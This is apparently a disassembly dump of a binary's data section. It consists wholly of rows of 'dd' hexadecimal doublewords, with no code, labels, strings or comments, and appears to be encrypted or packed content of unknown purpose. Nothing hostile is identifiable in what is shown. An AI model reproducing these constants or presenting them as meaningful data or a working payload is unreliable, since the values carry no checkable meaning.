		dd 0C60F7C18h, 0B26EB0B1h, 897E97CAh, 0A5A35CE9h, 0DC42ED5Ch
		dd 0F65905B4h, 13497CD7h, 3C2582F6h, 0EDBD4061h, 90D60F56h
		dd 76AE2D31h, 4A840EEBh, 0F38000F0h, 0B8DE081Bh, 0A63520F2h
		dd 3C5E5234h, 482201EAh, 0A0F5011Fh, 5E1E084Ch,	99EAE368h
		dd 0B7BD9320h, 2D92255Ah, 5AD85C9Fh, 0F74B0E59h, 3055F8BAh
		dd 593EDE1h, 164FF0Eh, 0AAE982C5h, 0B7EA5904h, 16B95E3Eh
		dd 58341F9Fh, 90EA24C3h, 0E0A2713h, 1AC2C4FBh, 140B1C08h
		dd 519EEC2Bh, 0B65BE915h, 6AB21E90h, 0F954360Ch, 0AC0760E5h
		dd 4509C5D1h, 0D2B1314Fh, 0BE39C8DAh, 1782132Bh, 3A80AB5Ah
		dd 6E6DEBC6h, 0E9C2D86Eh, 62803844h, 6BFB1B16h,	4DDDF716h
		dd 0F501A7FDh, 1A797B19h, 5A046A29h, 43443727h,	525B00CBh
		dd 1725BB53h, 103194Fh,	6A637101h, 0CB0C9D1Fh, 711F8C8h
		dd 0CBBF2DF2h, 1CDF30C2h, 955990Ch, 0ED6570F1h,	49A8D325h
		dd 0C2538C78h, 13C294A4h, 1D4B9BB3h, 0C518DCDAh, 0F8BF95D2h
		dd 75F30F22h, 10182C2Ah, 0B6504F55h, 71610B14h,	0B168854Ch
		dd 0B7C654h, 3050B755h,	0FFE5AF7h, 8EFC0CFh, 0F9885123h
		dd 5DE2C892h
		dd 21612AFCh, 0ED3A5DE8h, 9AEA2D11h, 0E74C6077h, 8AC59DB5h
		dd 0DA49CB1Fh, 5E18FD3Bh, 80822D4Eh, 200573DDh,	3E3CB018h
		dd 38B06AD3h, 3A5DAA0Ch, 6CA0CB5Bh, 2EBD2D16h, 0E0DC5A8Bh
		dd 5F4A0BA0h, 18435F6h,	0F580006Dh, 9FD5F6C8h, 2848527Ah
		dd 0A68A2F65h, 0A11E02D8h, 0D74B72CFh, 875DEB05h, 0CF98AE1Ch
		dd 0C271965Ch, 86027873h, 64A58ED9h, 1BBAD1F6h,	0C2BF14A1h
		dd 0A5DC2AE9h, 1C0C6417h, 0F5949202h, 2F1DF2DEh, 0C9C09D52h
		dd 114C4DC7h, 6F932FAh,	436D51D1h, 349520E9h, 9A84FAD5h
		dd 0BFB51C2h, 8E82BEDCh, 60774C54h, 2433525Bh, 0B350C2Bh
		dd 57920937h, 53222C0h,	0CDA0CEECh, 78954676h, 89FA1351h
		dd 5782FEB9h, 0DF4CF5E4h, 44BE3430h, 0B1915B8h,	0E0D173E8h
		dd 660D382h, 23816800h,	0AC5865A3h, 0F940EA7Dh,	2B0C3159h
		dd 35D49F29h, 0DFD2A362h, 0C8258846h, 2290559Ch, 0B89752BFh
		dd 4ADF2932h, 0A529EF5Bh, 60AB462Bh, 912C8F98h,	0C2698B27h
		dd 0E405860h, 1A0C012Ch, 3106C1C0h, 0FCB71612h,	0B5082050h
		dd 9D279F10h, 222EECB5h, 0AAD247FCh, 593568FBh,	5344ADB1h
		dd 6B677780h, 0BB6F1AC5h, 0A27D0B63h, 0D9E7F261h, 19E4EFC5h
		dd 0F4290BDEh, 87C4EF43h, 8B988BAh, 3B5A30FAh, 84165A9h
		dd 68DC7121h, 601F55D9h, 1ED86360h, 647B946Ah, 245D2543h
		dd 0E0EC4024h, 4D265A30h, 3E4E876Ah, 0E99795B8h, 0A62F4E87h
		dd 245D104Eh, 0E9083F60h, 98B7DA7Ah, 0B6CCC00h,	0EAD1356Bh
		dd 3A0B35DAh, 7734AA36h, 0D8E9E381h, 90CA6FB3h,	33D0044Bh
		dd 0B820BAD0h, 0A8250F68h, 25E95479h, 197EBFFBh, 2B10FDEBh
		dd 440070BDh, 0CD8163C4h, 16B11DF3h, 85B0E923h,	0E932BA5Ch
		dd 0EEFD2BCDh, 0FD19AAB3h, 51812745h, 0ABEFE952h, 4A9A6EBAh
		dd 98800A9Bh, 43F75F2Ah, 44F2292Fh, 6F9C41CEh, 87E87EE5h
		dd 61C35F61h, 0AFE5678Ch, 50DD7E7h, 2ED4C1A0h, 0CBC873EDh
		dd 67BF1C13h, 4168A168h, 79E63F0Ch, 75207E4Ch, 158EA0C0h
		dd 48123F9h, 5B20FEF6h,	10E7AC35h, 68096318h, 517E44A2h
		dd 24687F69h, 7DBCADE9h, 85B6605h, 19D6CBEEh, 8004C9FEh
		dd 2DE974FCh, 863AC0F6h, 38209C2h, 490783A9h, 8B3EF1F0h
		dd 0EDE34879h, 0AE448A01h, 0D285E91Bh, 43028E44h, 1295A1Dh
		dd 280808F7h, 66F063A1h, 6BB9492Ch, 10622D91h, 5933CDC1h
		dd 0C02E626h, 261882BAh, 0A38F772Ah, 0B12C92D6h, 0D955D66Ah
		dd 44CEB946h, 0A32FEF4Ah, 0C62B10D7h, 157E94Eh,	476A8F3h
		dd 0B03AD157h, 7D1F0ED1h, 0F7814BCDh, 839C6BC8h, 1A18933Ch
		dd 9FEADB12h, 4ADB3D16h, 0AB1C04ABh, 9AB9000Fh,	0F44E823Ch
		dd 74594E0Eh, 0A009B8A8h, 0B5506068h, 59BF181Eh, 0B8576B35h
		dd 0BEB8BFA8h, 57678853h, 88F38007h, 1665A8EFh,	613B02ADh
		dd 0EA554667h, 5F39C176h, 77E9C8E3h, 54B2B7D8h,	0C5B6AF2Eh
		dd 99C60B32h, 8E9F307Dh, 6B2F3F7Ah, 8240B927h, 0F5E4EC88h
		dd 66BD6B9h, 33A23D18h,	3448EF30h, 38C3BEBFh, 2EAFC728h
		dd 1D25A3B2h, 22F0E7C0h, 9FF90812h, 0E92FB6CCh,	0D531E2DBh
		dd 9C931D6Fh, 0D5580C82h, 291F07C6h, 1CD695C5h,	945044BFh
		dd 0A230EB75h, 7359014Fh, 0FE5E1Bh, 0E378F4A8h,	0E94E5177h
		dd 0BDE000EBh, 1BFE551Eh, 72AD315Fh, 0F5C9984Fh, 495811A1h
		dd 49F83B12h, 96B7EBE4h, 0F9C10B17h, 535A6338h,	345EB30Dh
		dd 560FC610h, 3180043Ah, 7BA2BEF1h, 0C505479Fh,	0C829E344h
		dd 5F6853B8h, 45A9095Ah, 0E116E087h, 935BA5BBh,	9E0BF32Ah
		dd 0A073649Dh, 2D745042h, 0FC030933h, 0AD95C2E9h, 6257075Bh
		dd 7DB24722h, 960D29Bh,	0B7E88210h, 6C758555h, 0F24E84BCh
		dd 1266934Dh, 3313096Ah, 0A90E44E4h, 0DCD129F9h, 5499EACEh
		dd 2C3E7449h, 0EDCD0C94h, 8C05C71Fh, 317AFC07h,	9081B884h
		dd 79F47B8Ah, 311C9829h, 302CCBF6h, 0C09032E5h,	42B75352h
		dd 30C607B6h, 50805BFEh, 0F6B551F7h, 1C136D90h,	9009EDC0h
		dd 4101E2DDh, 995998CFh, 3C789EF9h, 1D0A657Eh, 4BC8ED09h
		dd 0EEA080A2h, 0CF3BF8FDh, 73EB02B1h, 5505822Ah, 8810CF8h
		dd 0C1B86A5Eh, 0E782623Fh, 0DE95649h, 0D427925Ch, 2AFE892h
		dd 37D47615h, 0EE7D7F5Ah, 78C82B25h, 51A99447h,	26843C5Ch
		dd 5F2FC421h, 68502CA1h, 49983EC7h, 805F5891h, 61082D0h
		dd 599D7CBEh, 0CC4C0B62h, 41FABADFh, 0E7CC6E08h, 3FF7EC84h
		dd 0A427E90Fh, 499612C4h, 7D19F72Dh, 7F150134h,	9465F5C2h
		dd 0CDBAE904h, 23C831FFh, 105A0365h, 4C4FBE9Ch,	74680F67h
		dd 80FF60Ch, 0ECFE7F9h,	1E06E7B3h, 42810806h, 7AAA016Ah
		dd 23B914C0h, 74A2EE24h, 765DF007h, 4F9EB1Fh, 8008F67h
		dd 0B4505AF5h, 7527257Bh, 0E8A5F6ADh, 3EFD00ECh, 32E969A1h
		dd 8102985Ch, 0C7A33DBh, 0C3F0B43Eh, 0F11A5801h, 7365E909h
		dd 16536134h, 0AE07CB7Ah, 60B6E016h, 84C06B2Eh,	0BF5A5152h
		dd 0E98542E3h, 5DAFD22Ch, 623CB741h, 0A02F10CAh, 0AEF1801Dh
		dd 1FCC3F15h, 0EC749B16h, 0D5FDC43Ch, 66190714h, 52405709h
		dd 0FC415EBCh, 0DD9D3455h, 6DA9332Eh, 63DBED01h, 49204C19h
		dd 0F4C900F2h, 0E9DD31FDh, 0CC99D18Ch, 28C7B1ADh, 124E5A2Ch
		dd 0FFDAAACCh, 0C185E45Ah, 1A1C447Bh, 788941BBh, 0A5FAF6E5h
		dd 0EFA46676h, 0A5AD420Bh, 1EFED2Ah, 61672E97h,	8AAC8E49h
		dd 0F5F9A95Dh, 0FD297600h, 6ABC5E5Fh, 7A475C25h, 0C703FEE4h
		dd 0B962C918h, 0E90B0AC5h, 8BE28452h, 43301BA4h, 0C117125Bh
		dd 40050928h, 0A1F5CE88h, 7B8798B9h, 6F0DE434h,	7C1992A3h
		dd 0C7E7E9B1h, 0FAE3C040h, 6EE16170h, 3988937Ch, 0CA8B5AF1h
		dd 9FA53BE9h, 859A8056h, 209E618h, 3015A368h, 2F7DDAADh
		dd 0E6E03CC9h, 4813B30Dh, 0B0E6809h, 2D19D806h,	89431F83h
		dd 2DC5932Ah, 3D383CB0h, 0AE177F02h, 140B2E32h,	0B935402Fh
		dd 8E101336h, 0E6C9FE35h, 57328B41h, 50F73CE8h,	101786DEh
		dd 507F1601h, 5D5F6799h, 0C09327BAh, 6DC2DF6h, 7F019525h
		dd 5CB0900h, 74965F86h,	47F35830h, 0D137050Fh, 0CCB951EEh
		dd 874EF11Ah, 88E6F3C0h, 0CADA6034h, 0B7C5D1EEh, 762DE9EEh
		dd 0ACA7F1CFh, 58BE50F7h, 544E0118h, 381B498Eh,	8F9268D7h
		dd 4E03E31Eh, 857E14E5h, 0FC1C0377h, 38015346h,	3D2F5BC7h
		dd 96D5E967h, 1031F62Ah, 801E4562h, 0CE0672EBh,	6601ACECh
		dd 0E94D5068h, 1E5771EDh, 463323B2h, 99E5BD3Eh,	57B1F012h
		dd 0B93AF721h, 0C4181962h, 0F4EE0116h, 0FCC74282h, 0E8779857h
		dd 0F08F8225h, 30B03BC2h, 0C10B61DEh, 512082E1h, 7DC47FBCh
		dd 806AEE20h, 0B2342C8h, 0F2013989h, 83CA7004h,	1399F34Bh
		dd 286F614Bh, 68257B1Eh, 0F7A61B25h, 7BA7ACAAh,	27DF4205h
		dd 7C956671h, 585E25A0h, 89899DF9h, 8BAC4755h, 1E466856h
		dd 0F70ACA4Eh, 9309DB5Fh, 57E90975h, 1201A087h,	19C02890h
		dd 0C02D2FDFh, 11A07F9Eh, 41A94065h, 3DD5E91Ch,	56C05E2Fh
		dd 603FE92Dh, 1708BEB9h, 109634Bh, 527D7623h, 89332060h
		dd 46C93B18h, 9AD620Ch,	0F5013AF8h, 0C18AC782h,	193CDD71h
		dd 5410951Ah, 0DF536EF8h, 10072C77h, 23BD039Dh,	0DF462A22h
		dd 3BA98145h, 42FC2077h, 1B07BB0Bh, 0FB80F5D6h,	32AD648Bh
		dd 0C0410CC2h, 1DF78F56h, 0A15B5AA0h, 58992F1Bh, 97738CA7h
		dd 0A4090428h, 573B6F52h, 6CAC46F2h, 0E9100550h, 66ADCB27h
		dd 27557A14h, 2B2203C3h
		dd 0B0B092AAh, 49374AEFh, 4B306644h, 9D2142F4h,	287052A1h
		dd 61E14714h, 0E6AB8D50h, 6816CE50h, 0C0E21E78h, 32049DD4h
		dd 0D35D520Dh, 85845BA3h, 1149AA9Ah, 0CF6605F7h, 796C3881h
		dd 0E040607Ah, 0BAF67B03h, 842FFCF0h, 6D710E86h, 0A87FD7D0h
		dd 9753B8AAh, 0EA52B30Bh, 58CDAE4Bh, 411D7B48h,	2284605Fh
		dd 832FAB41h, 3CF956E2h, 0E5619D8Fh, 649D2D41h,	0B3DD5F7h
		dd 80F76824h, 31B87C05h, 0C36329FBh, 4C7B23Dh, 99685B1Ch
		dd 625B921Ah, 0F6BDFF70h, 477C8C14h, 0AB19E165h, 0F016A97Dh
		dd 0B51C057Bh, 33CC8278h, 84F9949Bh, 291E9293h,	17C11F55h
		dd 76EEF7A0h, 0AD4072E3h, 89009B59h, 0E9759916h, 0EA7834CDh
		dd 6422AA4Fh, 0F39C0731h, 2C75922Eh, 800B2960h,	0B508D5F4h
		dd 0E32DCFD6h, 0C1F0BA82h, 0CC6CE762h, 1339EF4Fh, 4528023Fh
		dd 0D8FC08E7h, 5E5108A0h, 6E0E2141h, 2BE9C891h,	0C3334B7Ah
		dd 0AD53EDF5h, 10260D45h, 20E1B90Ah, 27DE5F07h,	0D6EFC02Eh
		dd 0B65BDD72h, 0BF08A063h, 68905464h, 48291109h, 60618020h
		dd 15726525h, 0A2A92CE9h, 272CFA5Eh, 0C35F2BE9h, 0B43D0BDDh
		dd 9ECE1030h, 0DC967595h, 0F490A527h, 51D7521Fh, 0C2E9C1F4h
		dd 3ED7652Ah, 0E0D8291Fh, 13C1EA41h, 1452983Eh,	841E7BAh
		dd 0E95F8784h, 0D312BEE6h, 899FB2E2h, 98D776C0h, 2E7F46FAh
		dd 2C122BB9h, 7C7E067Fh, 870BF849h, 8073351Bh, 91126859h
		dd 9C0CC730h, 0B0A31499h, 2DFE4388h, 0D84F8F4Fh, 0B8FE0497h
		dd 0FADA0104h, 0AB47878Bh, 0BC3ADB17h, 0D29CE770h, 6502128Dh
		dd 1278A61Ah, 7F22BE6h,	0B08B0B9Fh, 0A7E14575h,	0A9505ADEh
		dd 0EA6EB49Fh, 0D78C96Dh, 0A39B2E20h, 9FBFB98Dh, 0D3510E9Bh
		dd 0ACC44BC9h, 5B34E53Bh, 5B7E03E8h, 0EAF0D4F1h, 0F84B2CF3h
		dd 147A4C18h, 27990DDEh, 0A4AF75EBh, 67905C06h,	0B13D5072h
		dd 50927921h, 9DEAD8BDh, 2D6453E9h, 7AEE16F8h, 50179C09h
		dd 8C65086h, 7789175Fh,	0F5A3D120h, 0B85000ECh,	6B6013B7h
		dd 0A722C170h, 4C04D41h, 0DCEC086h, 0CE3D812Eh,	35F396E1h
		dd 874C201h, 0E3286365h, 72D6F718h, 1B1ECE85h, 0E94B894Dh
		dd 87C42275h, 20707334h, 43402ED5h, 0BDF7AA32h,	0D6212FE7h
		dd 2DA5DB3Ch, 409EFA34h, 0E324C0AFh, 531C3D08h,	0C51DEBCFh
		dd 54EFCA91h, 494E58CFh, 0EF7AEADFh, 9D40CEB0h,	347BFEB9h
		dd 0A0645808h, 569F5B5Ch, 16F72D5Ah, 0A8593369h, 7FB9E561h
		dd 84B72E53h, 7C0C7F4Ch, 0A4901E7Dh, 0CFE2A14Eh, 40B152DFh
		dd 508DBD41h, 4D5A433Bh, 1322D390h, 56C7603h, 55FF68F5h
		dd 84C2AB6Ah, 147B54E8h, 2200D152h, 0BA5B7A04h,	0CB094C37h
		dd 4F2310Ch, 3C1F50F5h,	0DD1C12h, 2988CAE5h, 0C1A07B86h
		dd 8080BE26h, 27BD73EAh, 0E55041F2h, 3CC55196h,	0F92F07F1h
		dd 6D099324h, 4989B0A4h, 5C4282A1h, 9334ED8Ah, 9070BE8Fh
		dd 241D69BBh, 259635C1h, 84567D42h, 7F64B0EAh, 57DFF703h
		dd 5A9D409Eh, 0A49206A1h, 12FE893Ch, 2872F604h,	67C36379h
		dd 2397E95Eh, 0CEDFA22Eh, 3D9E0430h, 27C9B9ABh,	481A5F5Eh
		dd 0B4DA13F5h, 55502282h, 254ECA96h, 2BF9F885h,	3E4568F0h
		dd 0C10498BDh, 3740826Dh, 0F24D520h, 0F0021B46h, 0E03B0357h
		dd 2438E353h, 307532Fh,	0B1E0296h, 6DD3BE00h, 2540444Bh
		dd 3E541DAFh, 1176472Ah, 3105B1C1h, 0D4692153h,	60E3E0B4h
		dd 73BC586h, 1209D10h, 80252B4h, 643A85E9h, 24B373E0h
		dd 12A6A9CBh, 2AF0EA8h,	0D0088F7Dh, 12080437h, 61F4EEDAh
		dd 0AAE601EEh, 5AD03130h, 2EF6C50h, 7BD93867h, 907085Eh
		dd 8DD42958h, 90040151h, 0B373ED9Dh, 201E4748h,	0D1C2958Dh
		dd 16A28D00h, 5C9066DDh, 0B550C240h, 3CFD6998h,	0CD0F4082h
		dd 59569DE8h, 17B1574Bh, 1C1A3810h, 0F01F7A2Ch,	762A7B7Ah
		dd 8590D1B7h, 12CFA820h, 0E828FFB5h, 0E5137CBh,	0F67B0BE7h
		dd 5157DAADh, 1E9C282h,	82583749h, 0B9635630h, 9D1506Bh
		dd 33532DADh, 0DCF5480h, 289F40A7h, 1C34085Eh, 38FE1413h
		dd 0A14A5811h, 41DB2DFFh, 81168158h, 1E94EBAFh,	0A3404584h
		dd 0A0590AD8h, 83A2DB9Dh, 2830BBDh, 654EB47Ah, 3597F91Eh
		dd 2F4036B1h, 9FBA90B7h, 81E7D450h, 5EF9E92Ah, 0ACD46BEFh
		dd 8308BE4Eh, 347A143Dh, 2EDFC203h, 0B3C130A5h,	4CE00706h
		dd 0F054825Bh, 976F33F2h, 0D281ECDDh, 891259CDh, 48EDD07Eh
		dd 5D1B8E4Eh, 0E79EEBC1h, 1607C3B0h, 0FCD04852h, 0AD306006h
		dd 70098C20h, 5DEB9A2Ch, 0B80D78Bh, 1303F0EFh, 0B1373558h
		dd 352C5BE9h, 8517B74Eh, 5B818E9h, 0ABD00913h, 799DF471h
		dd 0C7ED3982h, 9DE0A606h, 757339C5h, 0C698224Eh, 0F66E0018h
		dd 0E9CD3179h, 329E4B4Ah, 0B95A1D80h, 80DE2917h, 0D7A006EEh
		dd 0AB2432D1h, 7401AE46h, 1283D10h, 602E2DAh, 60305808h
		dd 6A651404h, 15814B3h,	0FFAD2F0Ch, 4CA8B530h, 55A7A09Fh
		dd 0B7776E45h, 4E007A74h, 49434228h, 0BFE227E9h, 41C8348h
		dd 0D82EB030h, 12DC1DE4h, 0ECD5F73Eh, 86FD02B0h, 0B31D284h
		dd 772E747Ch, 538020CFh, 51015B79h, 807D6F9h, 5AB11C52h
		dd 0C16525E4h, 0F7494871h, 0DE310640h, 0DFA10290h, 0FAF32AA1h
		dd 4C0E1010h, 936809D2h, 72BFB04Bh, 2183816Fh, 0C97250CAh
		dd 67B87A51h, 25946818h, 8290596Bh, 0F681F2FEh,	44C86C19h
		dd 0EC7AD40h, 0C6860E2h, 0F0CD110Ah, 0AF011D90h, 0E9167533h
		dd 2E78D220h, 503A96CEh, 88C17155h, 853C8B64h, 3E1B3A9Dh
		dd 731E40AFh, 10F587Fh,	22F85C4Bh, 0E90C0CD0h, 0D1A3A709h
		dd 6154CDA0h, 8F17972Fh, 99C93C2Eh, 49D7D4CDh, 5732BE53h
		dd 8E10D75Bh, 68817017h, 2B323ADDh, 0C3EE612Fh,	95BF479Eh
		dd 2D2F748h, 0A81C5DCAh, 1C15E6Ah, 12284BF2h, 91914156h
		dd 71253530h, 5A080017h, 0AB3F729h, 69ACDA3Ch, 0E313E9A0h
		dd 7AC67EBFh, 0F1E9F340h, 1E1F6113h, 51394A1Eh,	28DA9F08h
		dd 0E52A1825h, 934911Bh, 286E89CAh, 0A897C696h,	0FCB156BBh
		dd 2D0660DCh, 0E709787Ch, 20407AE2h, 0C3800DEAh, 0F33D3F98h
		dd 0E234AFC6h, 20D0F0DAh, 0C1BC1376h, 6C98C620h, 81091E00h
		dd 1D5B57F3h, 7542C1DDh, 2A45157Eh, 47F00FAh, 0E9ADB693h
		dd 0D790C227h, 5EB53316h, 2F9724B1h, 2FE2A6F4h,	5FB255DAh
		dd 45750842h, 3929AFB4h, 0A0546DDFh, 0DCD220FDh, 0C30A5C70h
		dd 0AC34B050h, 0E99D8713h, 0E7BFA52Eh, 0F28040CCh, 0A052663Dh
		dd 94B0148Ch, 0FBC1E432h, 0F2BD0E20h, 33D324E0h, 25899EC5h
		dd 0C2013A53h, 1DFD406Ch, 7CED830h, 0E92D1842h,	3142BC91h
		dd 94C75FFCh, 7D5526B8h, 3E614C2h, 87B9D821h, 596D8252h
		dd 0E0262F1Ah, 280A2CC3h, 39C26CCCh, 9426A8CAh,	8957846Ch
		dd 4E80ECC7h, 797336A6h, 3C0CCC1h, 3AEA0806h, 0E47C48B5h
		dd 0CCFE2505h, 0C1F94275h, 0D2221C2Ah, 0FB7ED52Fh, 0C184CA5Ah
		dd 3C2F837Eh, 7EBCCFC2h, 6B16BF60h, 0EC124C97h,	1C7EFD02h
		dd 85C02152h, 4B09F781h, 0FE5FAF79h, 0B3E905AEh, 0AB8AAAFEh
		dd 0F012E10h, 0D838428Fh, 24797A06h, 437C7BEFh,	3104D974h
		dd 66C42CF8h, 75030CFBh, 884FF545h, 5D50AD22h, 5FB5FCC0h
		dd 0D8F75803h, 0AA551A05h, 0E915C8CDh, 33DD6756h, 975073E7h
		dd 0EB680E09h, 61A8D432h, 21DC37ACh, 0CD3260EFh, 62925307h
		dd 5B82E281h, 1EADC44h,	0BCDBE468h, 4BD66729h, 0F03501FAh
		dd 6B104571h, 34077910h
		dd 0E8C11C8Bh, 8C6EDBC0h, 0A54F9EA4h, 0F9DEFC31h, 1A4AF606h
		dd 2FEA0E43h, 319290A1h, 0DC5A5FD6h, 8D6EB7D6h,	1D23C12Bh
		dd 11EC80E8h, 0C04CC9BEh, 92061E0Dh, 0EEE0122Ch, 0ADF9BE29h
		dd 16BFF2D6h, 59FD7F88h, 7441EFD2h, 1D98732Ah, 0C0D5CB70h
		dd 86C4FE42h, 0D26AF6D4h, 4E184008h, 0B5EDE916h, 2B595F99h
		dd 0A450AE0Fh, 5F0F1D1Bh, 9EB2F037h, 7729B340h,	0B2C2FEFh
		dd 2C535619h, 0E7E996A1h, 5E867710h, 0B92654FBh, 0DE90A84Eh
		dd 0A984B056h, 0A2A2D364h, 6223D516h, 2178F2A6h, 0F4F0DAFAh
		dd 2F07748h, 905A18CFh,	0AFF6E078h, 504B2755h, 0C3F3807Fh
		dd 5E144A57h, 6EBFB152h, 518BBA90h, 1FEF5AC8h, 658FEE5Ah
		dd 0EC36D47Dh, 1BAE106Bh, 41052E4Ch, 0A924E573h, 0D4084104h
		dd 26C0A7A0h, 93690DBBh, 3370BF45h, 5912054Bh, 127F8FAFh
		dd 74BA5C3Ch, 7C4AF375h, 0E9120190h, 0AF44AC4Ch, 0A3BA8746h
		dd 30B84170h, 6C98A52Dh, 682DE9E4h, 0BCF5A2F5h,	0F1C50E30h
		dd 930FBEECh, 0E0E92228h, 0AFA8A718h, 7493D49Bh, 5BEFE917h
		dd 0C2E6B4F8h, 765FE915h, 7FB80628h, 2C9ACF2Bh,	52BCAFC7h
		dd 0D4F2C800h, 0E92FF7B6h, 0B84D40C1h, 2449153Eh, 202289F9h
		dd 6285E927h, 50DB5FDDh, 18604A0Ch, 315ABD4Fh, 1D670909h
		dd 9578703Fh, 1C1763D8h, 0EAAC6E70h, 0A15FFD5Eh, 8E50B95Ah
		dd 79725FE0h, 4F47F625h, 8DD7F28Dh, 1822EF9Dh, 14E70C10h
		dd 2A86DF01h, 25FE1AB7h, 0BE4A2992h, 0A85B59F9h, 13F74834h
		dd 3D638658h, 0FA114A50h, 2F51E528h, 8A42FCE9h,	208B945Dh
		dd 5C4BD7A8h, 36152AFh,	9BAE8A8Eh, 40B92C4Bh, 0D1148C94h
		dd 450B92EBh, 98041316h, 37B1F8A2h, 0C6357286h,	700A3525h
		dd 5C9650BAh, 0F3B621EFh, 0FF5A0285h, 0CBC422F9h, 316882A0h
		dd 8E153CABh, 4B7F638Dh, 0EB2B479Dh, 914E2538h,	5FC50AD2h
		dd 0D43F13B8h, 0BF08177Bh, 0E98238CAh, 0CEAB4FF0h, 145495Ah
		dd 0A62370F8h, 0BB5A5AE4h, 725B472Eh, 4A7DBB4Ch, 0F48A5D36h
		dd 457E276Eh, 694182ADh, 1C330288h, 5F792D5h, 0AB5248E5h
		dd 14B8D204h, 3A17BF00h, 8CB44274h, 1EA2912h, 0C18EFD8h
		dd 17E9CCEBh, 0F52F49B6h, 0D4CE179Eh, 0B34212BEh, 7F26B9E9h
		dd 0F4DFA03Bh, 0E525AFA5h, 0F99BE481h, 27752902h, 2723E124h
		dd 168204F1h, 0FE6B4E7Ch, 1CCD4581h, 0CAFD8901h, 0DB5FF187h
		dd 0B9AEC582h, 0D2D0D2DDh, 0F646BF68h, 511B8983h, 0D42AB0C2h
		dd 327880EAh, 0F39AB558h, 0DA24CA04h, 0E8C729F9h, 48C800CBh
		dd 0CE30BE62h, 0B5E3B038h, 487E295Eh, 1C4008A3h, 0CE4DE914h
		dd 0F42001C7h, 0D2CC805Ah, 0E0E8ECCCh, 0DD9895E2h, 50486658h
		dd 19A913C2h, 0AB6A31ABh, 685B0076h, 0AC754F80h, 86B2B11Fh
		dd 7F904606h, 29EA63EEh, 0C310FB64h, 0A126AB16h, 3CB8FE76h
		dd 11E686Eh, 5158CFC3h,	6FF7B9C3h, 31E9340Ch, 402B4F14h
		dd 28BCB34h, 0F5F5910h,	0FA74C0B7h, 0F99255FAh,	0A80C2F54h
		dd 781D12Fh, 0F6E8DF3h,	85D8C23Eh, 0EC30E45Dh, 0C47844E5h
		dd 5E997A46h, 0F5586BBAh, 20E9D08Ch, 0D695C6FFh, 0DC4AC15h
		dd 2A370A4Fh, 0A4E75CABh, 112D8338h, 2812A831h,	0F5BF921Ch
		dd 2B65E11Ah, 3DCB5DE4h, 2AAC59E5h, 60AF160Fh, 7213934Ah
		dd 274D4E7Dh, 0C6FE1D63h, 0F131C3CDh, 0F83BBF61h, 0F88A9FB1h
		dd 0F682DCA4h, 0C4EF88D5h, 0CF629DC3h, 0CC7DD74Ah, 49AF94E3h
		dd 0F665FF69h, 88EA1E7Eh, 4C73934h, 26CD17Bh, 5C512C0Fh
		dd 0F80760E1h, 739DA110h, 762A3DCCh, 8629581h, 866557F0h
		dd 0F3BADFB5h, 62872DA3h, 0E2F95766h, 671455A7h, 0E96AFE95h
		dd 9089ECF7h, 0B8C5B536h, 64105FC9h, 8200284Dh,	6FE18115h
		dd 0EC73340Eh, 562709C9h, 30FC2F5Ch, 0AD90CB3Dh, 3D4443EEh
		dd 0FE9315A2h, 73CEF2B1h, 0FD09E6BAh, 0DD55091Bh, 0F5059764h
		dd 5C904C0Fh, 596861FAh, 8563885Dh, 7C680409h, 0B11CAD5Ch
		dd 0AF0494C7h, 77C0B4FCh, 29588F03h, 6857C614h,	45C05E08h
		dd 5F241B85h, 1F54942Bh, 0AC58D608h, 3D2684CDh,	666C9016h
		dd 9B5ADB7Ch, 48608CF8h, 7E6B541Dh, 80CE0120h, 2D685908h
		dd 7318713Dh, 5496FFACh, 7F452C62h, 0BA03AD92h,	683E7244h
		dd 6C7925Fh, 3AEC80BFh,	5E4BD431h, 855AF2A8h, 88A3EEDDh
		dd 489DBE93h, 0EB4EF14Bh, 24688A2Ch, 891D58DBh,	0F1F1ADCAh
		dd 6F4B8520h, 0C1F111F8h, 0E7EB5395h, 54E373ABh, 5A20F7B0h
		dd 0CEE8A25Eh, 39800469h, 19234922h, 0E9F9890Eh, 89FE9311h
		dd 11042A7Ah, 52067C96h, 555A26B2h, 0D4BAFF00h,	60C011h
		dd 2FF6E281h, 0AE91B2Bh, 0C789B9B4h, 210A5358h,	5D502870h
		dd 0DB84F686h, 0AA1681h, 0E14AA249h, 0F540294Ch, 0EA05F395h
		dd 0CA814C90h, 0B37918ECh, 6DE50C57h, 26A293Eh,	105395F2h
		dd 0A282DF62h, 30F7C801h, 97E18788h, 2F729557h,	0DC07A9DFh
		dd 0D5687076h, 99E98FA8h, 0BF30614Eh, 5CCC0C1Ah, 0B2208675h
		dd 0E01C504Ch, 5C740D1Eh, 67006D37h, 81310620h,	6A18ADCEh
		dd 0E10C1033h, 6FDA2474h, 76023F72h, 51E96C12h,	0FFA589FDh
		dd 209118CEh, 0C417F824h, 62BDD6C0h, 45DB385Eh,	0CB092AFBh
		dd 4DD074D3h, 5889AF30h, 0AD6BED77h, 0D9219218h, 5B4CAEACh
		dd 0BFD4112Dh, 5A93F600h, 4D05267Bh, 69EC424Ah,	72DF014h
		dd 97535E2Fh, 6F38F808h, 0E82E7205h, 0A236C4EFh, 5519FBA3h
		dd 21CDCB80h, 2A092E2Ah, 0DE687D5Ah, 122608D1h,	0CD1AB42Fh
		dd 97DB5D0Dh, 52A93461h, 1D87822Fh, 1BE95A8h, 92B6A1Bh
		dd 0EDB83A5Ah, 0DB575189h, 68E9E2DAh, 5A66DBE8h, 525C49FCh
		dd 844F7C8Ah, 15BAA000h, 0BD5BB13Fh, 0DAF70B60h, 0C256C5FFh
		dd 0BD37515Dh, 0FF224892h, 0F77B4A6Dh, 0A2E9C5CCh, 27317493h
		dd 0E4006C53h, 5B7BB8BDh, 0FE3E4E60h, 0B5288EF9h, 0AF270F52h
		dd 86ABF989h, 50160ECAh, 58B1464Ah, 0B1696E29h,	2E879CDDh
		dd 6186BC9Ch, 2FCBD784h, 59E91CC8h, 582F944Bh, 340A1653h
		dd 9473F16h, 6F03791Bh,	0CE9C502h, 6068846Ah, 68B7E6ADh
		dd 7A2045B7h, 808DE03Dh, 0F972015Eh, 5667E9E7h,	755DEEADh
		dd 7F292F51h, 0F1AE7BA2h, 0F0839576h, 0E01F4148h, 724F03E7h
		dd 0FA0F9847h, 17620515h, 0C87F40E9h, 123E594Dh, 0FE1F4A28h
		dd 93AFD68Ch, 301B4BAAh, 2A2B6179h, 0DDE9670Bh,	58AD5C90h
		dd 52807EDBh, 35BB2A68h, 8DB3041Fh, 812817B2h, 48A141Fh
		dd 0C7A4F5AFh, 0F078A625h, 0CD0527A9h, 57697CF6h, 0A919B151h
